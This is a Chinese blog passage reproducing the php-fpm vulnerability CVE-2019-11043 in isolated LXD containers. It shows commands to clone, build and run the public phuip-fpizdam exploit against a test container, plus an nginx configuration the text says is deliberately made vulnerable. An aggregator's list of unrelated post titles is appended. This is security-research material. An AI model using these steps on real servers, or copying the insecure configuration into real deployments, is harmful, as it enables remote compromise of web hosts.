php 缓冲区溢出漏洞,在Linux 容器中对php-fpm缓冲区溢出漏洞的复现分析 ( CVE-2019-11043 )...
ubuntu@vulnerable:~$ curl http://localhost
Hello World
ubuntu@vulnerable:~$
存在漏洞的容器已准备就绪,为容器做个快照,以备将来会使用到。
ubuntu@vulnerable:~$ logout
$ lxc snapshot vulnerable stock-with-php-on
$
0x02 配置攻击容器环境
创建hacker容器并编译漏洞利用代码:
$ lxc launch ubuntu:18.04 hacker
Creating hacker
Starting hacker
$ lxc exec hacker -- sudo --user ubuntu --login
ubuntu@hacker:~$ sudo snap install go --classic
go 1.13.3 from Michael Hudson-Doyle (mwhudson) installed
ubuntu@hacker:~$ git clone https://github.com/neex/phuip-fpizdam.git
ubuntu@hacker:~$ cd phuip-fpizdam/
ubuntu@hacker:~/phuip-fpizdam$ go build
go: downloading github.com/spf13/cobra v0.0.5
go: extracting github.com/spf13/cobra v0.0.5
go: downloading github.com/spf13/pflag v1.0.3
go: extracting github.com/spf13/pflag v1.0.3
go: finding github.com/spf13/cobra v0.0.5
go: finding github.com/spf13/pflag v1.0.3
ubuntu@hacker:~/phuip-fpizdam$ ls
README.md consts.go detect_methods.go go.sum phpini.go
reproducer attack.go detect.go go.mod main.go phuip-fpizdam
requester.go
ubuntu@hacker:~/phuip-fpizdam$
在这一阶段,我们可以尝试查看vulnerable容器中nginx + php的常规安装是否可以执行漏洞利用代码实现利用。该vulnerable容器是通过使用名称加上.lxd从这个容器访问。每个LXD容器都是随机获得这样的主机名的,其他容器都可以使用这些主机名来访问所有这些主机名。
ubuntu@hacker:~/phuip-fpizdam$ curl http://vulnerable.lxd/index.php
Hello World
ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php
2019/10/28 10:09:06 Base status code is 404
2019/10/28 10:09:06 Detect() returned error: no qsl candidates found, invulnerable or something wrong
ubuntu@hacker:~/phuip-fpizdam$
hacker容器已经准备就绪,vulnerable容器是不是真的可以被利用,需要恢复快照到可以利用的状态。
0x03 配置vulnerable容器
在上面的服务器配置中,有一个指令是include snippets/fastcgi-php.conf;,该指令用于逐字节include一组配置。我们需要编辑这些配置,因此导入整个文件,服务器块如下所示:
# Location: /etc/nginx/sites-enabled/default
server {
listen 80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.php;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
# pass PHP scripts to FastCGI server
#
location ~ \.php$ {
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
}
}
我们进行以下最小更改。
首先,将匹配模式更改为所述模式。其次,注释掉try_files指令。然后,将include fastcgi.conf目录移到该部分的最外层。该文件位于/etc/nginx/fastcgi.conf,只需要将几个环境变量设置为PHP-FPM。
更改为php-fpm的默认nginx配置。
这是最终漏洞程序的配置文件。
# Location: /etc/nginx/sites-enabled/default
server {
listen 80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
php 缓冲区溢出漏洞,在Linux 容器中对php-fpm缓冲区溢出漏洞的复现分析 ( CVE-2019-11043 )...相关推荐
- 论文中文翻译——Double-Fetch情况如何演变为Double-Fetch漏洞:Linux内核中的双重获取研究
本论文相关内容 论文下载地址--Web Of Science 论文中文翻译--How Double-Fetch Situations turn into Double-Fetch Vulnerabil ...
- .NET程序在Linux容器中的演变
本文讲的是.NET程序在Linux容器中的演变[编者的话]Linux容器技术已被开发人员所熟知,现在.NET程序可以跑在Docker容器中,这为以Windows中心的开发人员带来了好处. [上海站|3 ...
- linux内核 漏洞扫描,Linux kernel中存在15年的漏洞
SCSI 定义了并行I/O 总线和数据协议来连接硬盘驱动.打印机.扫描仪.光驱.测试设备.医疗设备等外部设备到本地计算机.近日,GRIMM在Linux kernel SCSI (Small Compu ...
- Linux内核中无名管道pipe和有名管道fifo的分析
1.管道(pipe) 管道是进程间通信的主要手段之一.一个管道实际上就是个只存在于内存中的文件,对这个文件的操作要通过两个已经打开文件进行,它们分别代表管道的两端.管道是一种特殊的文件,它不属于某一种 ...
- c# 溢出抛异常_C#中的int是否没有溢出异常?
在C#中,OverflowException不会引发(在VB中,默认情况下会引发异常). 为了获得排他性,您必须将代码嵌入checked上下文中: byte value = 241; checked ...
- xxs漏洞危害_PHP开发中经常遇到的Web安全漏洞防御详解
程序员需要掌握基本的web安全知识,防患于未然,你们知道有多少种web安全漏洞吗?这里不妨列举10项吧,你们可以自己去网站找相应的教程来提升自己的1.命令注入(Command Injection)2. ...
- 在Linux和Windows的Docker容器中运行ASP.NET Core
译者序:其实过去这周我都在研究这方面的内容,结果周末有事没有来得及总结为文章,Scott Hanselman就捷足先登了.那么我就来翻译一下这篇文章,让更多的中文读者看到.当然Scott遇到的坑我也遇 ...
- 使用Linux docker容器中的集成安全性对SQL Server的.Net Core客户端进行身份验证
目录 面对问题 逐步发现解决方案 先决条件 我们的演示应用 在容器中准备kerberos身份验证 KDC消费所需的包 创建一个合适的krb5.conf文件 生成keytab文件 Docker化演示应用 ...
- 浅析linux容器--Docker
最近公司调整微服务架构,有幸开始接触到Docker,刚开始接触到docker的时候我去简单的百度了下docker容器,了解到docker属于linux容器中的一种,通过docker,linux容器发展 ...
最新文章
- 压力管道流量计算公式_带你全面了解各种流量计!
- 内存只有100G,要全表扫描一个200G大表,会不会把内存用完?
- php 多表查询输出,ThinkPHP多表查询
- Document的理解
- 选中下拉列表显示全部数据_小白都能学会的多级下拉列表,让你的Excel效率提升百倍...
- python求零点_python – 计算大序列的过零点的结果不同
- webpack4+node合并资源请求, 实现combo功能(二十三)
- SparkStreaming窗口入门
- pycharm快捷键之①“上下移动某一行“②参数提示
- Java基础面试题(2022年)
- 字符串c语言实验报告总结,c语言实验报告范文
- 微信小程序引入阿里矢量图标
- iconfont图标使用方法
- Python pytz时区转换
- 订阅号做微信登录php,Thinkphp5实现微信登录
- 十大热门编程语言入门难度排名
- switch更新主机服务器维护,switch更新链接不到服务器
- lpx寒假作业案例7
- 加强杂交和环境选择的高维目标进化算法
- (一)微信小程序支付前后台
热门文章
- 求多边形凸包(线性算法)--陈氏凸包算法--
- Linguistic Sorting and Matching
- 【厚积薄发系列】C++项目总结21—VS远程调试技巧分享
- Reason given for failure: CSRF cookie not set.
- 下一代手机应该会是折叠屏
- Linux鸟哥的私房菜--基础篇--第五章 Linux的文件权限和目录配置
- 网络操作系统之对等式局域网
- Android那些事儿 成长中的Android(1)
- Android 2018年九月面试经历总结
- 如何快速一次性卸载所有python包(第三方库)呢